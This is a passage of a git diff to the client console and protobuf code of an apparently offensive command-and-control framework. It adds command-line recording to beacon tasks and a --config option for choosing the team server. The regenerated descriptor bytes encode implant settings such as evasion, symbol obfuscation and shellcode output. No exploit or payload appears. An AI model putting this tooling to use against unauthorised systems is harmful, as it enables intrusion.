prepares a request metadata for the currently active target. func (s *ActiveTarget) Request(cmd *cobra.Command) *commonpb.Request { if s.session == nil && s.beacon == nil { return nil @@ -204,6 +206,9 @@ func (s *ActiveTarget) Request(cmd *cobra.Command) *commonpb.Request { req.Async = true req.BeaconID = s.beacon.ID } + + req.CmdLine = s.con.Args + return req } diff --git a/client/console/readline.go b/client/console/readline.go index c28ec15156..c08cbcd7ad 100644 --- a/client/console/readline.go +++ b/client/console/readline.go @@ -30,10 +30,11 @@ import ( "github.com/AlecAivazis/survey/v2" + "github.com/reeflective/console" + "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/reeflective/console" ) // GetPrompt returns the prompt string computed for the current context. diff --git a/client/console/teamclient.go b/client/console/teamclient.go index 5563e2e40c..d8eef5f1a5 100644 --- a/client/console/teamclient.go +++ b/client/console/teamclient.go @@ -29,12 +29,14 @@ import ( "google.golang.org/grpc" "google.golang.org/grpc/status" + "github.com/reeflective/team" + "github.com/reeflective/team/client" + consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/reeflective/team" ) // PreRunConnect is a spf13/cobra-compliant runner function to be included @@ -59,14 +61,23 @@ func (con *SliverClient) PreRunConnect(cmd *cobra.Command, args []string) error return nil } + // Run any additional pre-run hooks, generally those registered + // by the sliver-server binary to ensure assets are setup, etc. if err := con.runPreConnectHooks(cmd, args); err != nil { return err } + // Check if the user told us to connect to a specific server + // instead of prompting him with all the configs we found. + clientOpts, err := con.loadConfig(cmd) + if err != nil { + return err + } + // Let our teamclient connect the transport/RPC stack. // Note that this uses a sync.Once to ensure we don't // connect more than once. - if err := con.Teamclient.Connect(); err != nil { + if err := con.Teamclient.Connect(clientOpts...); err != nil { return err } @@ -85,6 +96,33 @@ func (con *SliverClient) PreRunConnect(cmd *cobra.Command, args []string) error return con.startClientLog() } +// loadConfig uses the --config flag (if existing), to override the server remote +// configuration to use, therefore skipping user prompts when there are more than one. +func (con *SliverClient) loadConfig(cmd *cobra.Command) ([]client.Options, error) { + // No overriding + if !cmd.Flags().Changed("config") { + return nil, nil + } + + configPath, err := cmd.Flags().GetString("config") + if err != nil { + return nil, err + } + + // Let the teamclient attempt to read the config. + config, err := con.Teamclient.ReadConfig(configPath) + if err != nil { + return nil, err + } + + // Should not happen, but just in case. + if config == nil { + return nil, errors.New("The teamclient returned no config, but no error") + } + + return append([]client.Options{}, client.WithConfig(config)), nil +} + // PreRunComplete is a special connection mode which should be // called in completer functions that need to use the client RPC. // It is almost equivalent to client.ConnectRun(), but for completions. @@ -154,7 +192,7 @@ func (con *SliverClient) Users() (users []team.User, err error) { return } -// Version implements team.Client.VersionClient() interface method, overriding +// VersionClient implements team.Client.VersionClient() interface method, overriding // the default teamclient version output to use our Makefile-prepared one. func (con *SliverClient) VersionClient() (v team.Version, err error) { dirty := version.GitDirty != "" @@ -172,7 +210,7 @@ func (con *SliverClient) VersionClient() (v team.Version, err error) { }, nil } -// ServerVersion returns the version information of the server to which +// VersionServer returns the version information of the server to which // the client is connected, or nil and an error if it could not retrieve it. func (con *SliverClient) VersionServer() (version team.Version, err error) { if con.Rpc == nil { diff --git a/protobuf/clientpb/client.pb.go b/protobuf/clientpb/client.pb.go index 5474c4f235..ea8d7089fd 100644 --- a/protobuf/clientpb/client.pb.go +++ b/protobuf/clientpb/client.pb.go @@ -2090,15 +2090,16 @@ type BeaconTask struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - ID string `protobuf:"bytes,1,opt,name=ID,proto3" json:"ID,omitempty"` - BeaconID string `protobuf:"bytes,2,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"` - CreatedAt int64 `protobuf:"varint,3,opt,name=CreatedAt,proto3" json:"CreatedAt,omitempty"` - State string `protobuf:"bytes,4,opt,name=State,proto3" json:"State,omitempty"` - SentAt int64 `protobuf:"varint,5,opt,name=SentAt,proto3" json:"SentAt,omitempty"` - CompletedAt int64 `protobuf:"varint,6,opt,name=CompletedAt,proto3" json:"CompletedAt,omitempty"` - Request []byte `protobuf:"bytes,7,opt,name=Request,proto3" json:"Request,omitempty"` - Response []byte `protobuf:"bytes,8,opt,name=Response,proto3" json:"Response,omitempty"` - Description string `protobuf:"bytes,9,opt,name=Description,proto3" json:"Description,omitempty"` + ID string `protobuf:"bytes,1,opt,name=ID,proto3" json:"ID,omitempty"` + BeaconID string `protobuf:"bytes,2,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"` + CreatedAt int64 `protobuf:"varint,3,opt,name=CreatedAt,proto3" json:"CreatedAt,omitempty"` + State string `protobuf:"bytes,4,opt,name=State,proto3" json:"State,omitempty"` + SentAt int64 `protobuf:"varint,5,opt,name=SentAt,proto3" json:"SentAt,omitempty"` + CompletedAt int64 `protobuf:"varint,6,opt,name=CompletedAt,proto3" json:"CompletedAt,omitempty"` + Request []byte `protobuf:"bytes,7,opt,name=Request,proto3" json:"Request,omitempty"` + Response []byte `protobuf:"bytes,8,opt,name=Response,proto3" json:"Response,omitempty"` + Description string `protobuf:"bytes,9,opt,name=Description,proto3" json:"Description,omitempty"` + CmdLine []string `protobuf:"bytes,10,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"` } func (x *BeaconTask) Reset() { @@ -2196,6 +2197,13 @@ func (x *BeaconTask) GetDescription() string { return "" } +func (x *BeaconTask) GetCmdLine() []string { + if x != nil { + return x.CmdLine + } + return nil +} + type BeaconTasks struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -10124,7 +10132,7 @@ var file_clientpb_client_proto_rawDesc = []byte{ 0x74, 0x22, 0x35, 0x0a, 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, - 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x22, 0xfe, 0x01, 0x0a, 0x0a, 0x42, 0x65, 0x61, + 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x22, 0x98, 0x02, 0x0a, 0x0a, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, @@ -10140,837 +10148,857 @@ var file_clientpb_client_proto_rawDesc = []byte{ 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, - 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x55, 0x0a, 0x0b, 0x42, 0x65, 0x61, - 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x2a, 0x0a, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x18, 0x02, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, - 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, - 0x22, 0x53, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x12, 0x1a, 0x0a, - 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, - 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xfb, 0x0d, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, - 0x63, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, - 0x63, 0x6f, 0x6e, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, - 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x42, 0x65, 0x61, - 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x42, - 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, - 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, - 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x12, 0x0a, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, - 0x14, 0x0a, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, - 0x44, 0x65, 0x62, 0x75, 0x67, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, - 0x2a, 0x0a, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, - 0x6f, 0x6c, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, - 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x54, - 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x0b, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, - 0x1e, 0x0a, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x0c, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, - 0x1e, 0x0a, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x18, 0x14, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x12, - 0x1a, 0x0a, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x18, 0x15, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4d, - 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x18, 0x16, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4d, 0x74, - 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x12, 0x2e, 0x0a, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, - 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, - 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x50, 0x65, - 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x50, - 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x19, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, - 0x4b, 0x65, 0x79, 0x12, 0x36, 0x0a, 0x16, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, - 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x1a, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x16, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, - 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x38, 0x0a, 0x17, 0x4d, - 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, - 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x17, 0x4d, 0x69, - 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, - 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, - 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, - 0x4b, 0x65, 0x79, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x57, 0x47, 0x50, - 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x20, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, - 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x2c, 0x0a, 0x11, 0x57, - 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, - 0x18, 0x21, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, - 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x54, - 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, - 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, - 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x28, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, - 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, - 0x30, 0x0a, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x4d, 0x61, - 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, - 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, - 0x18, 0x2a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, - 0x6f, 0x75, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x32, 0x18, 0x32, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x43, 0x32, 0x52, 0x02, 0x43, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x43, 0x61, 0x6e, 0x61, - 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x33, 0x20, 0x03, 0x28, 0x09, 0x52, - 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2e, - 0x0a, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, - 0x74, 0x65, 0x67, 0x79, 0x18, 0x34, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x6e, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x12, 0x2c, - 0x0a, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, - 0x6e, 0x65, 0x64, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, - 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, - 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x3d, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, - 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, - 0x61, 0x6d, 0x65, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, - 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, - 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3f, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, - 0x0a, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, - 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, - 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x69, 0x6d, 0x69, - 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x41, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4c, - 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, - 0x72, 0x6d, 0x61, 0x74, 0x18, 0x64, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, - 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, - 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, 0x12, 0x1a, 0x0a, 0x08, - 0x46, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x66, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x46, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x65, - 0x72, 0x76, 0x69, 0x63, 0x65, 0x18, 0x67, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, - 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, - 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, - 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6e, 0x41, - 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x52, 0x75, 0x6e, - 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, - 0x69, 0x6c, 0x65, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, - 0x46, 0x69, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, - 0x62, 0x6c, 0x65, 0x64, 0x18, 0x6b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4e, 0x65, 0x74, 0x47, - 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x36, 0x0a, 0x16, 0x54, 0x72, 0x61, 0x66, - 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, - 0x65, 0x64, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, - 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, - 0x12, 0x28, 0x0a, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x73, 0x18, 0x6d, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, - 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x12, 0x27, 0x0a, 0x06, 0x41, 0x73, - 0x73, 0x65, 0x74, 0x73, 0x18, 0xc8, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x06, 0x41, 0x73, 0x73, - 0x65, 0x74, 0x73, 0x22, 0x7a, 0x0a, 0x0e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x02, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x57, 0x61, 0x73, 0x6d, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, - 0x69, 0x6c, 0x65, 0x52, 0x04, 0x57, 0x61, 0x73, 0x6d, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x6b, 0x69, - 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x6b, - 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, - 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 